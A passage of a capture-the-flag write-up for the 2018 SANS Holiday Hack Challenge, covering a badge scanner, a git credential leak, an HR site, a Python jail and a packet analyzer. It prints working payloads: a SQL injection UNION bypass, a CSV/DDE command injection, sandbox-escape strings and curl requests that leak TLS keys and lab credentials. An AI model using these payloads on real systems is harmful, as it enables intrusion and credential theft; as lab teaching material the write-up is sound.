<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
<Data Name="SubjectDomainName">EM.KRINGLECON</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="TargetLogonId">0x0000000001175cd9</Data>
<Data Name="LogonType">8</Data>
<Data Name="LogonProcessName">Advapi  </Data>
<Data Name="AuthenticationPackageName">Negotiate</Data>
<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
<Data Name="LogonGuid">{5b50bc0d-2707-1b79-e2cb-6e5872170f2d}</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x00000000000019f0</Data>
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">40762</Data>
<Data Name="ImpersonationLevel">%%1833</Data>
<Data Name="RestrictedAdminMode">-</Data>
<Data Name="TargetOutboundUserName">-</Data>
<Data Name="TargetOutboundDomainName">-</Data>
<Data Name="VirtualAccount">%%1843</Data>
<Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
<Data Name="ElevatedToken">%%1842</Data>
</EventData>
</Event>
elf@b73775ed8e38:~$

The two successful login attempts from the bad guy IP address had been made for the minty.candycane account. Her credentials are probably compromised !

And just for fun :

elf@b73775ed8e38:~$ grep 4624 evtx.xml -B 2 -A 40 | grep "172.31.254.101" -B 33 -A 9 | gre
p -o 'TargetUserName">.*</Data>' | sed 's/TargetUserName">//g' | sed 's/<\/Data>//g' | sor
t | uniq
minty.candycane
elf@b73775ed8e38:~$ 

Then, trying minty.candycane :

Speaking again with Pepper Minstix :

Pepper gaves us two important hints :

• a link to an online QR code generation service ;
• a link on how to bypass auth exploiting SQL injection.

Now let's have a look at these Scan-o-Matic !

Scan-O-Matic

In the corridor behind the Yule Log Analysis terminal, on the left hand after the stairs, there is a Scan-O-Matic which commands the opening of a door :

The objective description says that a sample employee badge is available there : https://www.holidayhackchallenge.com/2018/challenges/alabaster_badge.jpg.

Here it is :

There is a QR code printed on the badge !

Once th QR-Code cutted and saved in a .png file, we can use it in the Scan-o-Matic putting it in the USB port :

Once read by the online service, we see that it's content is the string oRfjg5uGHmbduj2m.

When base64 decoded, datas seems to be binary ones : A1 17 E3 83 9B 86 1E 66 DD BA 3D A6.

May be this string is just some sort of hash or id ?

We can try some basic SQL injections on the string just to see what happens.

With a QRCOde containing oRfjg5uGHmbduj2m, we get a message : AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!.

With a QRCOde containing oRfjg5uGHmbduj2m' or '1'='1, we get a message : AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!.

With a QRCOde containing oRfjg5uGHmbduj2m" or "1"="1, we get a message : NO AUTHORIZED USER ACCOUNT FOUND!. Our injection had modified the result.

With a QRCOde containing oRfjg5uGHmbduj2m' or '1'='0, we get a message : AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!.

With a QRCode containing oRfjg5uGHmbduj2m' or sleep(1000), we get a message :

EXCEPTION AT (LINE 96
"user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"):
(1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 1' at line 1")"

Now we know the structure of the authentication SQL request :

user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid)).

And we know that there is an injection point on the uid parameter.

We have to modify the structure of the request to return a tupple with three values : first_name, last_name and enabled flag. Firstname and lastname are probably not important, but the enabled one is (remember that there are AUTHORIZED USER ACCOUNT HAS BEEN DISABLED! messages). So we can try to return forged datas with a UNION statement.

With this inject : oRfjg5uGHmbduj2m' UNION SELECT 'mr','roubachof',1 ; #-- we will modify the request as this :

user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'oRfjg5uGHmbduj2m' UNION SELECT 'mr','roubachof',1 ; #--' LIMIT 1".format(uid))

This request will add a row to the the datas returned containing first_name='mr', last_name='roubachof', enabled=1.

...it doesn't works... why ?

Ok, the request returns two rows : one for the SELECT on the Alabaster id and one from our UNION SELECT statement and probably the application uses only the first row returned. And this one has a enabled value equals to 0 since Alabaster's account is disabled.

We can try with a non existing id or force a response containing only our injected row.

New try with oRfjg5uGHmbduj2m' UNION SELECT 'mr','roubachof',1 LIMIT 1 OFFSET 1; #-- injection :

It works :-) :

The Scan-o-Matic prints :

{"data":"User Access Granted - Control number 19880715","request":true,"success":{"hash":"359c749a6ed7e20f86824f035980a74ea54f422a380126bf262cc6d0ffcd6baa","resourceId":"4695f4f2-d14c-4528-b806-938f14d35f0f"}}

The control number 19880715 validates the sixth challenge :

This unlocks a new narrative :

...and gives access to the secret room :

In the sercret room, there are :

• Santa who has nothing to say ;
• Hans who as nothing to say ;
• Alabaster Snowball ;
• A "Snort Challenge" terminal ;
• A "Hohoho Daddy" terminal ;
• A "Elf Terminal" terminal ;
• A piano lock beside a door.

Note : we have a blind SLQ injection here and we could use it to discover the content of the database, and may be more. But this write-up is really a time-consuming task and this is out of scope of this challenge, so, move on...

Our roadmap is now half completed, but there are new terminals :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware		Snort Challenge terminal	Alabaster Snowball
9.2) Identify the Domain			Alabaster Snowball
9.3) Stop the Malware		Hohoho Daddy terminal	Alabaster Snowball
9.4) Recover Alabaster's Password		Elf terminal	Alabaster Snowball
10) Who Is Behind It All?		Piano Lock

---

Google ventilation maze

Before speaking to Alabaster Snowball, we can try to use the diagrams extracted from the protected zipfile. Remember it ?

In the hall, at the left of the Google stand, there is a Google Ventilation entry :

This ventilation is a maze :

With the help of the deciphered diagrams, we can find our way in the maze :

• first floor path : 8    6    2    2    2    4    8    2    2    2    6    4    2    2   
• second floor path : 6    2    4    4    6    2    2    2    2    4    2    2    4    2    6    2    2    2   

And after this little journey :

We find... the Santa's Secret Room !

Hahaha, this was a backdoor in case we cannot pass the Scan-o-Matic.

---

Objective 7 : HR Incident Response

Sparkle gaves us two new hints :

• a link to an article about Finding Passwords in Git ;
• a link to a Git Cheat Sheet.

« Dev Ops Failed » Terminal

Coalbox again, and I've got one more ask.
Sparkle Q. Redberry has fumbled a task.
Git pull and merging, she did all the day;
With all this gitting, some creds got away.

Urging - I scolded, "Don't put creds in git!"
She said, "Don't worry - you're having a fit.
If I did drop them then surely I could,
Upload some new code done up as one should."

Though I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our "oops,"
Please find it fast before some other snoops!

Find Sparkle's password, then run the runtoanswer tool.
elf@26592f0cabcc:~$

There is a kcconfmgmt directory and there is a .git directory in it :

elf@26592f0cabcc:~$ cd kcconfmgmt/
elf@26592f0cabcc:~/kcconfmgmt$ ls -A
.git  README.md  app.js  package-lock.json  package.json  public  routes  server  views
elf@26592f0cabcc:~/kcconfmgmt$ 

Then we browse the commit log with git log command just to see :

[crouic]
commit a6449287cf9ed9151d94fb747f6904158c2c4d71
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Fri Nov 9 14:08:04 2018 -0500

    Add passport middleware for user auth

commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500

    Per @tcoalbox admonishment, removed username/password from config.js, default settings
 in config.js.def need to be updated before use

commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 13:25:32 2018 -0500

    Add passport module

[crouic]

It seems that commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b is interesting !

We can get details about a Git object with the git show command. Let's try git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b :

elf@26592f0cabcc:~/kcconfmgmt$ git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500

    Per @tcoalbox admonishment, removed username/password from config.js, default settings
 in config.js.def need to be updated before use

diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
--- a/server/config/config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// Database URL
-module.exports = {
-    'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
-};
diff --git a/server/config/config.js.def b/server/config/config.js.def
new file mode 100644
index 0000000..740eba5
--- /dev/null
+++ b/server/config/config.js.def
@@ -0,0 +1,4 @@
+// Database URL
+module.exports = {
+    'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'
+};
elf@26592f0cabcc:~/kcconfmgmt$

What about the twinkletwinkletwinkle mongodb password ?

elf@26592f0cabcc:~$ ./runtoanswer
Loading, please wait......



Enter Sparkle Redberry's password: twinkletwinkletwinkle



This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.

Congratulations!

elf@26592f0cabcc:~$ 

Yeah ! Now we need to talk with Sparkle :

Sparkle gaves us two precious hints :

• a link to a CSV Injection Talk : Somehow Brian Hostetler is giving a talk on CSV injection WHILE he's giving a talk on Trufflehog. Whatta' guy!
• a link to the OWASP CSV Injection Page.

Let's try this on the Elf Infosec Careers web site !

Elf Resources web site

The Elf Infosec Careers website has a single page with a form to submit application :

Poking around, we notice a 404 page that gives us some information :

There is a /public directory from where we can probably download files if wa know their names.

Ok, it's time to launch Burp and see what happens when we submit a simple csv file :

Note that the answer says : If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx.

Let's try to catch the C:\candidate_evaluation.docx file.

With the Burp repeater, we modify the csv part of the request and try to inject a command to copy the docx file to the public folder.

First we try a "DDE('cmd';'/C copy c:\\candidate_evaluation.docx c:\\careerportal\\ressources\\public\\copydoc.docx';'__DdeLink_60_870516294')" command, but it didn't work.

Then we try a "=cmd|' /C copy c:\\candidate_evaluation.docx c:\\careerportal\\ressources\\public\\copydoc.docx'!A0" command :

And yes, it works :

So, there is just to get the doc :

Open it :

And in the comments about Krampus, we found the flag :

The terrorist organisation name Fancy Beaver validates the seventh Objective :

This unlocks three new narratives :

In the Santa's Secret room, Hans said :

Note: with this CSV injection, we can browse the server filesystem (for example with a tree c:\ command :

Folder PATH listing
Volume serial number is 1AAA-ED1D
C:\
├───careerportal
│   ├───app
│   │   ├───config
│   │   ├───controllers
│   │   └───routers
│   ├───node_modules
│   │   ├───.bin
│   │   ├───accepts
│   │   ├───append-field
│   │   │   ├───lib
│   │   │   └───test
│   │   ├───array-flatten
│   │   ├───body-parser
│   │   │   └───lib
│   │   │       └───types
│   │   ├───buffer-from
│   │   ├───busboy
│   │   │   ├───deps
│   │   │   │   └───encoding
│   │   │   ├───lib
│   │   │   │   └───types
│   │   │   └───test
[crouic]

Or launch some commands like whoami /ALL :

USER INFORMATION
----------------

User Name                  SID                                          
========================== =============================================
hhc18-dde\sparkle.redberry S-1-5-21-1619229272-2598702499-570497326-1002


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

We can also create directories like this example :

    Directory: C:\careerportal\app


Mode              LastWriteTime                Length Name
----
d-----        10/23/2018   5:56 PM                    config
d-----        10/23/2018   5:56 PM                    controllers
d-----        10/23/2018   5:56 PM                    routers
d-----          1/7/2019  11:31 PM                    test

But like the server is shared, we didn't try more.

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware		Snort Challenge terminal	Alabaster Snowball
9.2) Identify the Domain			Alabaster Snowball
9.3) Stop the Malware		Hohoho Daddy terminal	Alabaster Snowball
9.4) Recover Alabaster's Password		Elf terminal	Alabaster Snowball
10) Who Is Behind It All?		Piano Lock

Moving to our next objective...

---

Objective 8 : Network Traffic Forensics

Following our roadmap, we look for SugarPlum Mary :

SugarPlum gaves us a good hint : » Check out Mark Baggett's talk upstairs «.

Watching the Mark Baggett's conference Escaping Python Shells is a good idea ! Mark gives us valuable informations about restricted python environments and how to escape them.

Let's try these tricks on the Python Escape from LA terminal...

Terminal "Python Escape from LA"

I'm another elf in trouble,
Caught within this Python bubble.

Here I clench my merry elf fist -
Words get filtered by a black list!

Can't remember how I got stuck,
Try it - maybe you'll have more luck?

For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!

-SugarPlum Mary

To complete this challenge, escape Python
and run ./i_escaped
>>> ~

We try exit(), but it doesn't work.

sys.exit(1) ?

>>> sys.exit(1)
Traceback (most recent call last):
  File "<console>", line 1, in <module>
NameError: name 'sys' is not defined
>>> 

import sys ?

>>> ~import sys
Use of the command import is prohibited for this question.
>>> 

del sys ?

>>> del sys
Traceback (most recent call last):
  File "<console>", line 1, in <module>
NameError: name 'sys' is not defined
>>> 

Try to reimport os with exec("imp"+"ort os") ?

>>> exec("imp"+"ort os")
Use of the command exec is prohibited for this question.
>>> 

Seconde try with os=eval('__imp'+'ort__("os")') works !

>>> os=eval('__imp'+'ort__("os")')
>>> 

Ok, now we can launch an os.system("ls")

>>> os.system("ls")
Use of the command os.system is prohibited for this question.
>>> 

Ok, it seems that there is some sort of filter on objects names. Trying whith an unknown name, test for example :

test=eval('__imp'+'ort__("os")')
test.system("ls")

>>> test=eval('__imp'+'ort__("os")')
>>> test.system("ls")
i_escaped
0
>>> 

It works and there is a file named i_escaped. May be we can execute it ?

test.system("./i_escaped") :

Done ! Going back to SugarPlum :

Web-based packet capture and analysis tool

After creating an account, we can log in and sniff some packets.

Sugarplum Mary told us that "packalyzer was rushed and deployed with development code sitting in the web root". And that "he found this out by looking at HTML comments left behind". So, let's have a look to page sources.

                if (top_talkers.length > 5) {top_talkers.length=6}
                $('.bargraph_container').css('display','block');
                build_pie_chart('piechart_top_protocols', top_protocols);
                build_pie_chart('piechart_dst_port', top_ports);
                build_pie_chart('piechart_top_talkers', top_talkers);
            }
        };
        //File upload Function. All extensions and sizes are validated server-side in app.js
        $(function () {
            'use strict';
            $('#fileupload').fileupload({
                url: '/api/upload',
                dataType: 'json',
                done: function (e, data) {
                    if (data.result.request) {
                        analyze_packets(data.result.data.clean(""));

There is an app.js somewhere !

Trying https://packalyzer.kringlecastle.com/app.js :

Not Found

Studying the sources, we see that there are an pub and a uploads folders and an api :

[...]
    <link rel="stylesheet" href="https://packalyzer.kringlecastle.com:80/pub/css/materialize.css">
[...]
onclick=\"analyze_packets('uploads/"+result.data[i].
[...]
                $.post( "/api/list",{}).done(function( result ) {
[...]
                $.post( "/api/delete",{'pcap':packet_name_and_path}).done(function( result ) {
[...]                
                    $.post( "/api/sniff",{}).done(function( result ) {
[...]                    
                                $.post( "/api/process",{'pcap':result.data}).done(function( result2 ) {

Poking around, we note that when sending GET requests inside pub directory we have an error message. For example with https://packalyzer.kringlecastle.com/pub/test :

Error: ENOENT: no such file or directory, open '/opt/http2/pub//test'

And asking for https://packalyzer.kringlecastle.com/pub/app.js :

#!/usr/bin/node
//pcapalyzer - The web based packet analyzer
const cluster = require('cluster');
const os = require('os');
const path = require('path');
const fs = require('fs');
const http2 = require('http2');
const koa = require('koa');
const Router = require('koa-router');
const mime = require('mime-types');
const mongoose = require('mongoose');
const koaBody = require('koa-body');
const cookie = require('koa-cookie');
const execSync = require('child_process').execSync;
const execAsync = require('child_process').exec;
const redis = require("redis");
const redis_connection = redis.createClient();
const {promisify} = require('util');
const getAsync = promisify(redis_connection.get).bind(redis_connection);
const setAsync = promisify(redis_connection.set).bind(redis_connection);
const delAsync = promisify(redis_connection.del).bind(redis_connection);
const sha1 = require('sha1');
require('events').EventEmitter.defaultMaxListeners = Infinity;
const log = console.log;
const print = log;
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  },
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time
};

//==================================
//Standard Mongoose Connection Stuff
//==================================
const app = new koa();
const router = new Router();
router.use(cookie.default());
app.use(router.routes()).use(router.allowedMethods());
mongoose.connect('mongodb://localhost:27017/packalyzer',{ useNewUrlParser: true });
const Schema = mongoose.Schema;
const userSchema = new Schema({
  name: { type: String, required: true, unique: true },
  email: { type: String, required: true, unique: true },
  password: { type: String, required: true },
  is_admin: { type: Boolean, required: true },
  captures: { type: Array, required: true },
});
const Users = mongoose.model('Users', userSchema);
//Sets Users to be allowed to sniff or just admins
const Allow_All_To_Sniff = true;

//==================================
//Standard Mongoose Connection Stuff
//==================================

Array.prototype.clean = function(deleteValue) {
  for (var i = 0; i < this.length; i++) {
      if (this[i] == deleteValue) {         
      this.splice(i, 1);
      i--;
      }
  }
  return this;
};
var uniqueArray = function(arrArg) {
  return arrArg.filter(function(elem, pos,arr) {
    return arr.indexOf(elem) == pos;
  });
};
function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
    }
  }
  return uniqueArray(dirs)
}
if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];
}

[...a lot of strange bytes cut...]

const api_functions = {
    'login':login,
    'logout':logout,
    'users':find_users,
    'register':register,
    'upload':upload,
    'list':list_caps,
    'delete':delete_caps,
    'sniff':sniff_traffic,
    'process':start_process,
  }
  const api_function = async (ctx, next) => {
    var Session = await sessionizer(ctx);
    const action = ctx.params.action;
    if ((Session.authenticated && Object.keys(api_functions).includes(action)) || ['login','register','users'].includes(action) ) {
      if (typeof api_functions[action] === 'function') {
        try{
          await api_functions[action](ctx, next, Session);
        } catch (e) {
          log(e)
          ctx.status=500;
          ctx.body=e.toString();
        }
      } else {
        ctx.body='Not Found';
      }
    } else {
      ctx.status=401;
      ctx.body='Unauthorized';
    }
    await next();
  }

[...a lot of strange bytes cut...]

  //Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    split_path.shift();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    }
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.status=404;
    ctx.body='Not Found';
    }
} catch (e) {
    ctx.body=e.toString();
}
});

router
.get('/api/:action', async (ctx, next) => {
await api_function(ctx, next)
})
.post('/api/:action', koaBody({ multipart: true }), async (ctx, next) => {
await api_function(ctx, next)
})

const server = http2.createSecureServer(options, app.callback());
server.listen(443);

There are two strange parts in this file, which seems to be encoded with some sort of UTF-xx format. There are lots of EF BF BD bytes sequences in these parts. We will study it later if we have enough time.

By the way, this source is very interesting. First we can saw that we are in dev mode and that TLS keys are logged in a file which is in a directory that has the name of the environment variable DEV. The file itself is named with the value of the environment variable SSLKEYLOGFILE :

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  },
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time
};
[...]
const server = http2.createSecureServer(options, app.callback());
server.listen(443);

If we are able to catch this file, we probably be able to decipher the SSL packets in the network captures.

But how can we find the values of DEV and SSLKEYLOGFILE environment variables ?

For the DEV one, we can try to guess it. What about dev ?

Asking for dev/. with curl https://packalyzer.kringlecastle.com/dev/. --http2-prior-knowledge command, we get :

Error: EISDIR: illegal operation on a directory, read

When we ask for an unknown directory like abcdefg, we get :

Not found

So there is a dev directory on the server and we can expect that it matches with the DEV environment variable content.

Now, how can we guess or found the SSLKEYLOGFILE value ?

it's time to look at our hints and at the rest of the app.js code. There is an interesting load_envs function which is called in dev mode only. This function parse all the environment variables of the process and put them in a env_dir array :

function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
    }
  }
  return uniqueArray(dirs)
}
if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];
}

This array is used to declare application routes ! So every environment variable name converted in lower case is a route. And then the first hinge of the requested url is replaced by the value of the corresponding environment variable :

  //Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    split_path.shift();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    }
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.status=404;
    ctx.body='Not Found';
    }
} catch (e) {
    ctx.body=e.toString();
}
});

For example if we request for /path/some_file, the path hinge will be replaced by the PATH environment variable value and the url requested will be /[PATH_value]/some_file.

We can verify it by requesting for example /home/test request with a curl https://packalyzer.kringlecastle.com/home/test --http2-prior-knowledge. We get :

Error: ENOENT: no such file or directory, open '/opt/http2/opt/http2/test'

Requesting /path/test with a curl https://packalyzer.kringlecastle.com/path/test --http2-prior-knowledge command :

Error: ENOENT: no such file or directory, open '/opt/http2/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/test'

We can see that the on the server HOME=/opt/http2 and PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.

Ok, stop playing now. What about SSLKEYLOGFILE ? Running curl https://packalyzer.kringlecastle.com/sslkeylogfile/test --http2-prior-knowledge :

Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/test'

The SSL keys log file is named packalyzer_clientrandom_ssl.log !

And we can verify this by requesting /dev/packalyzer_clientrandom_ssl.log with a curl https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log --http2-prior-knowledge command. We get some keys :

root@kali:~/$ curl https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log --http2-prior-knowledge
CLIENT_RANDOM B6632CFFEC6808CCFE5CABA677430B2E65512803DAF5837636EE859F68EA90EC E73D060076010BE655104F5B5B25042C7CAEA4C5CC7F3BDD4FDFCC589343830B47F7F9E8AFB441DF99C0A303D3AD8287
CLIENT_RANDOM 867F52AF67E0CE75E187D26174CCB9B0074A0D6F9321A3FDED771228977E0D63 42DA399F7AEE1E13B1F7BE6F51CCD35FA4011552EF595E16E6E03E6FCBFA65E90C4BA41FDF7FDAA6785FC716E9673AF9
CLIENT_RANDOM 1219F56CB14DB2C3664A2EC1447805DE2C60F8ED757E877710314F5308E0D30D 505B535D786BB02D663E1F76E497105C7B0B5888F09484CBB946B8B778DE5058BA505B954F6DA856AEBA0060434BB61A
CLIENT_RANDOM 808A2244715216F14525FF1D03578E8963CBB6595671C983EA162F21C292549F 5B66E88D34E1D5A7F28E26E3E65589D0CEEFA877C30B117F35B6208C303245BF06A4349B63875CD30099FF342451C381
CLIENT_RANDOM 0C8A9AC16DC077097A9CD4223A40BF7CDE68B81992D73CA2113D4D9315E50F7E F370B110BE68BC4EC7FEEC3F33D3FF4889F8BCA3EFE9A1350DB292824365C60DFF64D36F3BD86CB2D25CBE950BAB03A3
[crouic]
CLIENT_RANDOM 390228237990407E444E47637A95731224B6EE1036F642333778A0B777FE5117 A6F71F770B679CE1F70DD8896CAF9257AD5F43FEC5861ED8D9B43586E98EEA9FC3BE7E00CA91B4DF94F836F8A6334B6E
CLIENT_RANDOM 717EDD65E1DB6468B368B19DA0E42E92B3EC25DB8BE79E5415ADBDFCDAABD99E 0CB1C877D3A8FB61E7F122A52108D29EB1B4A3271A3F0B44498532080F80477730C86687A2129AF4748D75AD737F87AD
CLIENT_RANDOM 958E9A2F6DE3DB8F6095CB2AFB4FD83DF75813D46F88EA428F3F2A028FE6F1AB 7F726634EB781EC771AA5D9B7334E3B851E8BBC89A7A307F64ED68D698DFD29D9798BE70F335B8BF0CAE3235FB3B5C30
root@kali:~/$

With these keys, we can decipher the captured SSL streams.

In order to do this, we have to configure Wireshark.

First, open the Edit menu and choose the last entry named Preferences :

Then, liste the Protocols and choose SSL :

Finaly, put the SSL key logfile full path in the (Pre)-Master-Secret log filename field :

Click OK and the magic happens, we are now able to see deciphered HTTP2 packets :

And we can view the deciphered datas like these login credentials for example :

Now, we can look at each packet datas or use the Wireshark follow stream funtion. Select one deciphered packet, right-click on it and select Follow and then SSL Stream :

The entire stream is displayed and we can browse it, search, save etc :

From the different streams, we can extract those credentials and informations :

{"username": "pepper", "password": "Shiz-Bamer_wabl182"}
{"username":"pepper","is_admin":false,"email":"pepper.minstix@localhost.local","_id":"5bd73470388788152cf8b905"};

{"username": "bushy", "password": "Floppity_Floopy-flab19283"}
{"username":"bushy","is_admin":false,"email":"bushy.evergreen@localhost.local","_id":"5bd73471388788152cf8b907"};

{"username": "alabaster", "password": "Packer-p@re-turntable192"}
{"username":"alabaster","is_admin":true,"email":"alabaster.snowball@localhost.local","_id":"5bd73470388788152cf8b906"};

We are looking for a song title in a mail, remember ? But there is no mail there in the captures. May be there is a capture saved in one of these user profiles ? There is only one admin : alabaster, so let's try to log in with his credentials...

There is a Super secret capture in his saved captures :

Opening it in Wireshark and using the follow stream feature, we get the mail :

We can see that there is an attachment in the mail which is base64 encoded. We can extract it and save in a file named attachment_base64.txt.

With a first look at the result of base64 -d attachment_base64.txt we see that the attachment is a pdf file. So after a base64 -d attachment_base64.txt > music.pdf we can read it :

At the end of the second page, we get it :

And it works :

Time to update our roadmap :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
